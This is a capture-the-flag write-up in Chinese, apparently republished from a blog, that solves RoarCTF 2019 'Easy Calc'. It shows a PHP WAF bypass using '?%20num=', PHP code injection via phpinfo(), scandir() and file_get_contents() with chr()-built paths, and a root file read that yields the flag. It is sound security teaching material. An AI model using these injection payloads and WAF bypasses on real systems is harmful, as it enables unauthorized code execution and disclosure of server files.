首页 > 编程语言 >通过一道题目带你深入了解WAF特性、PHP超级打印函数、ASCII码chr()对应表等原理[RoarCTF 2019]Easy Calc 1

通过一道题目带你深入了解WAF特性、PHP超级打印函数、ASCII码chr()对应表等原理[RoarCTF 2019]Easy Calc 1

时间:2023-11-09 22:37:33浏览次数:44  
标签:字符 RoarCTF 函数 打印函数 编码 WAF chr 表等 PHP

题目环境:<br />image.png

依此输入以下内容并查看回显结果 1+1 1' index.php ls

image.png<br />image.png<br />image.pngimage.png

到这里没思路了

F12查看源代码<br />image.png

一定要仔细看啊,差点没找到,笑哭

访问calc.php文件<br />image.png

果然有点东西

PHP代码审计

error_reporting(0);关闭错误报告 通过GET方式传参的参数num show_source函数将文件内容显示出来 参数num的值赋值给变量str

创建一个了名为blacklist的数组,该数组包含一系列字符,这些字符被认为是需要从目标字符串中排除的“非法”或“危险”字符。这些字符包括空格、制表符('\t')、回车('\r')、换行('\n')、单引号(''')、双引号(")、反引号(`)、左方括号('[')、右方括号(']')、美元符号('$')、反斜杠('')和尖括号('^') 使用foreach循环遍历blacklist数组中的每一个元素。在每次循环中,当前元素的值会被赋给变量$blackitem。 在每次循环中,使用preg_match函数检查目标字符串$str是否包含当前的黑名单项(即$blackitem)。正则表达式'/' . $blackitem . '/m'用于匹配任何与当前黑名单项相匹配的字符。这里的/m是正则表达式的标记,表示多行模式。在这种模式下,^和$分别匹配每一行的开始和结束,而不仅仅是整个字符串的开始和结束。 如果在目标字符串中找到任何黑名单字符,即preg_match函数返回true,那么程序将立即停止执行,并输出“what are you want to do?”。 最后,这段代码结束foreach循环。

过滤内容:

  • 空格
  • 制表符('\t')
  • 回车('\r')
  • 换行('\n')
  • 单引号(''')
  • 双引号(")
  • 反引号(`)
  • 左方括号('[')
  • 右方括号(']')
  • 美元符号('$')
  • 反斜杠('')
  • 尖括号('^')

通过给参数num传参(数字和字母)进一步判断

?num=1 ?num=a

正常回显:<br />image.png<br />回显报错:<br />image.png<br />F12网页源代码是否忽略一些东西?<br />image.png

提示存在WAF检测,猜测后台还存在一些过滤

空格绕过WAF检测的原理

一些攻击者可能会尝试利用WAF(Web Application Firewall)的特性,通过在恶意请求中插入特定的字符或字符串来绕过WAF的检测。其中一种常见的方法是使用URL编码或转义字符来绕过WAF。 当攻击者使用空格字符时,WAF通常会将其视为无效字符而将其过滤掉。然而,攻击者可以使用URL编码或转义字符来将空格字符编码为有效的URL编码字符。 例如,使用URL编码,空格可以被编码为"%20"。攻击者可以在恶意请求中使用这个编码后的空格字符来绕过WAF的过滤。 当WAF接收到包含URL编码空格的请求时,它可能会将其解释为有效的URL编码字符,而不是一个空格字符。这样,攻击者就可以在请求中插入有效的URL编码字符,从而绕过WAF的过滤。 需要注意的是,这种方法并不是所有WAF都有效,因为不同的WAF可能会有不同的特性和行为。此外,攻击者还需要了解目标WAF的特性和行为,以便选择合适的方法来绕过其检测。

使用空格绕过WAF检测

?%20num=a

成功绕过WAF检测<br />image.png<br />查看此题目环境的一些配置信息

phpinfo()是PHP编程语言的内置函数,用来查询PHP相关配置和重要信息等等

?%20num=phpinfo()<br />image.png

disable_functions是PHP内置的一个设置选项,类似于黑名单,用来禁用危险函数、命令、关键字等等,用来提高网站和WAF的安全性 **从红框那里可以看到过滤了很多命令执行函数,比如:**passthru、exec、system等等

从这里看的话命令执行是行不通了,既然phpinfo()可以打通,那咱们就用PHP内置输出函数来获取flag值

PHP的输出函数有:

  1. echo()可输出字符串
  2. print()、print_r()、printf()、sprintf()、var_dump()可输出变量的内容、类型或字符串的内容、类型、长度等
  3. die()输出内容并退出程序

经过测试只有print_r()函数和var_dump()函数可以输出内容

靠这些还远远不够

还需要用到两个函数和一个方法 scandir() 函数返回指定目录中的文件和目录的数组,类似于Linux里面的“ls”命令。 file_get_contents() 函数把整个文件读入一个字符串中。 字符串转ASCII码chr()对应表

为什么PHP可以识别ASCII码chr()对应表?

PHP可以识别ASCII码chr()对应表,是因为PHP是一种通用的服务器端脚本语言,它可以处理文本数据。ASCII码是一种7位无符号整数编码系统,它使用数字0-127来表示所有的字符、数字和标点符号等。在PHP中,chr()函数可以将ASCII码转换为相应的字符。因此,在编写PHP程序时,我们可以使用chr()函数将ASCII码转换为相应的字符,以便在程序中使用它们。

d8b2579559316ac65a2e974f2352c33d_d18bd8a7c51c409ca6c5b42d64f96ae8.png 更详细内容可以参考我这篇文章https://blog.csdn.net/m0_73734159/article/details/133854073?spm=1001.2014.3001.5502

查看根目录下的所有文件(print_r和var_dump两种方法对比参考)<br />?%20num=print_r(scandir(chr(47)))<br />image.png<br />?%20num=var_dump(scandir(chr(47)))<br />image.png<br />发现f1agg文件<br />探测f1agg文件内容

根目录下的f1agg文件对应ASCII码chr()对应表依次是

  • / => chr(47)
  • f => chr(102)
  • 1=> chr(49)
  • a => chr(97)
  • g => chr(103)
  • g => chr(103)

使用连接符"."进行连接:

/f1agg => chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

?%20num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))<br />image.png<br />?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))<br />image.png

这两个函数不同回显结果,大同小异,大家可以对比进行深入了解这两个打印函数

得到flag:<br />flag{fc4b0414-1e6c-4391-89d8-c5f1dfe3e0dd} 原文链接:https://blog.csdn.net/m0_73734159/article/details/134320845?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22134320845%22%2C%22source%22%3A%22m0_73734159%22%7D

标签:字符,RoarCTF,函数,打印函数,编码,WAF,chr,表等,PHP
From: https://blog.51cto.com/u_16306712/8285635

相关文章

  • [RoarCTF 2019]Easy Calc
    题目一打开,是一个计算器。主页源代码如下,这里可以看到有一个calc.php文件,并且提示存在WAF(疑)。<!--I'vesetupWAFtoensuresecurity.--><script>$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($(&q......
  • VK1C21系列:抗干扰段码LCD液晶显示屏驱动芯片,ESD防护能力强适用于水电表,温控表等产品
     产品型号:VK1C21A/B产品品牌:永嘉微电/VINKA封装形式:SSOP48/LQFP48可定制裸片:DICE(COB邦定片);COG(邦定玻璃用)产品年份:新年份原厂,工程服务,技术支持! 概述:VK1C21A/B是一个点阵式存储映射的LCD驱动器,可支持最大128点(32SEGx4COM)的LCD屏,也支持2COM和3COM的LCD屏。单片机可......
  • 【gdb】打印函数局部变量的值
    打印函数局部变量的值1.例子:#include<stdio.h>voidfun_a(void){ inta=0; printf("%d\n",a);}voidfun_b(void){ intb=1; fun_a(); printf("%d\n",b);}voidfun_c(void){ intc=2; fun_b(); printf("%d\n",c);......
  • [RoarCTF 2019]Easy Calc
    原理PHP的字符串解析特性利用scandir()列出目录和文件使用chr()来替代字符file_get_contents读取并输出文件内容解题过程进入靶场,看到一个表达式,要计算,那就简单1+1吧没啥特别的,url地址也没变化,就看看页面源代码。看到说是用了waf,传递参数给calc.php,参数为num试试访问ca......
  • Buuctf——[RoarCTF 2019]Easy Calc
     有waf,不能出现非数字参数值。使用%20num可以绕过waf(AbusingPHPquerystringparsertobypassIDS,IPS,andWAF(secjuice.com))过滤了单双引号,可以用chr()函数构造字符串?%20num=var_dump(scandir(chr(46))) ?%20num=show_source(chr(47).chr(102).chr(49).chr(97).ch......
  • 高亮LED数码管显示驱动IC-VK16K33 A/B/C/BA/AA 驱动电流大 质量稳定 适用于计量插座,数
    概述VK16K33是一种带按键扫描接口的数码管或点阵LED驱动控制专用芯片,内部集成有数据锁存器、键盘扫描、LED驱动模块等电路。数据通过I2C通讯接口与MCU通信。SEG脚接LED阳极,GRID脚接LED阴极,可支持16SEGx8GRID的点阵LED显示面板。最大支持13×3的按键。内置上电复位电路,整体闪烁频......
  • [RoarCTF 2019]Easy Java
    [RoarCTF2019]EasyJava打开题目发现如下界面根据题目的提示,这道题不太可能考sql注入,应该是与java有关,因此点击help查看信息这里提示java.io.FileNotFoundException:{help.docx},而url路径中的参数正是filename=help.docx这里需要了解一个知识点:WEB-INFWEB-INF是java的WEB......
  • 高亮LED数码管显示驱动IC-VK16K33/AA/B/BA/C 多种封装 质量稳定 适用于计量插座,数字闹
    概述VK16K33是一种带按键扫描接口的数码管或点阵LED驱动控制专用芯片,内部集成有数据锁存器、键盘扫描、LED驱动模块等电路。数据通过I2C通讯接口与MCU通信。SEG脚接LED阳极,GRID脚接LED阴极,可支持16SEGx8GRID的点阵LED显示面板。最大支持13×3的按键。内置上电复位电路,整体闪烁频......
  • 永嘉微电高抗干扰/抗电压波动VK36系列 1/2/3/4/6/10/18键/通道/触摸触控芯片 适用于厨
    触摸芯片是一种可感应人体触摸的微处理器,其工作原理是通过感应人体触摸带来的电容变化而实现的;当人体接近触摸屏幕表面时,会引起触摸屏与人体间的电容改变,并且形成了一个新的电场分布,芯片会根据这个电容改变来计算出具体的触摸位置和操作手势。目前触摸芯片应用涉及于消费类电子、......
  • 永嘉原厂超强抗干扰VK36N系列 1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20键
      概述.VK36N1D具有1个触摸按键,可用来检测外部触摸按键上人手的触摸动作。该芯片具有较高的集成度,仅需极少的外部组件便可实现触摸按键的检测。提供了1个1对1输出脚,可通过IO脚选择上电输出电平,有直接输出和锁存输出2个型号可选。芯片内部采用特殊的集成电路,具有高电源电压......